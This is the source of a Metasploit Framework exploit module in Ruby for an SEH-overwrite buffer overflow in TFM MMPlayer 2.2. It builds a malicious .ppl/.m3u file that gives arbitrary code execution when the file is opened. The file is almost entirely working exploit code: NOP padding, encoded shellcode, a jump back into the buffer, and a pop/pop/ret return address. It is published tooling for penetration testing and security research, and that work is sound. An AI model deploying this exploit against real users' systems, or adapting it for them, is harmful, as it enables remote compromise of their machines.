##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TFM MMPlayer (m3u/ppl File) Buffer Overflow',
      'Description'    => %q{
        This module exploits a buffer overflow in MMPlayer 2.2
        The vulnerability is triggered when opening a malformed M3U/PPL file
        that contains an overly long string, which results in overwriting a
        SEH record, thus allowing arbitrary code execution under the context
        of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'RjRjh Hack3r',                        # Original discovery and exploit
          'Brendan Coles <bcoles[at]gmail.com>'  # msf exploit
        ],
      'References'     =>
        [
          [ 'OSVDB', '80532' ],
          [ 'BID', '52698' ],
          [ 'EDB', '18656' ], # .m3u
          [ 'EDB', '18657' ]  # .ppl
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'seh',
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested on:
          # Windows XP Pro SP3 - English
          # Windows Vista SP1 - English
          # Windows 7 Home Basic SP0 - English
          # Windows 7 Ultimate SP1 - English
          # Windows Server 2003 Enterprise SP2 - English
          [ 'Windows Universal', { 'Ret' => 0x00401390 } ], # p/p/r -> MMPlayer.exe
        ],
      'Payload'        =>
        {
          'Size' => 4000,
          'BadChars' => "\x00\x0a\x0d",
          'DisableNops' => false
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 23 2012',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.ppl'])
      ], self.class)

  end

  def exploit

    nops   = make_nops(10)
    sc     = payload.encoded
    offset = Rex::Text.rand_text_alphanumeric(4103 - sc.length - nops.length)
    jmp    = Rex::Arch::X86.jmp(-4108)            # near jump 4103 bytes
    nseh   = Rex::Arch::X86.jmp_short(-7)         # jmp back 7 bytes
    nseh  << Rex::Text.rand_text_alphanumeric(2)
    seh    = [target.ret].pack('V')

    sploit  = nops
    sploit << sc
    sploit << offset
    sploit << jmp
    sploit << nseh
    sploit << seh

    # write file
    file_create(sploit)

  end
end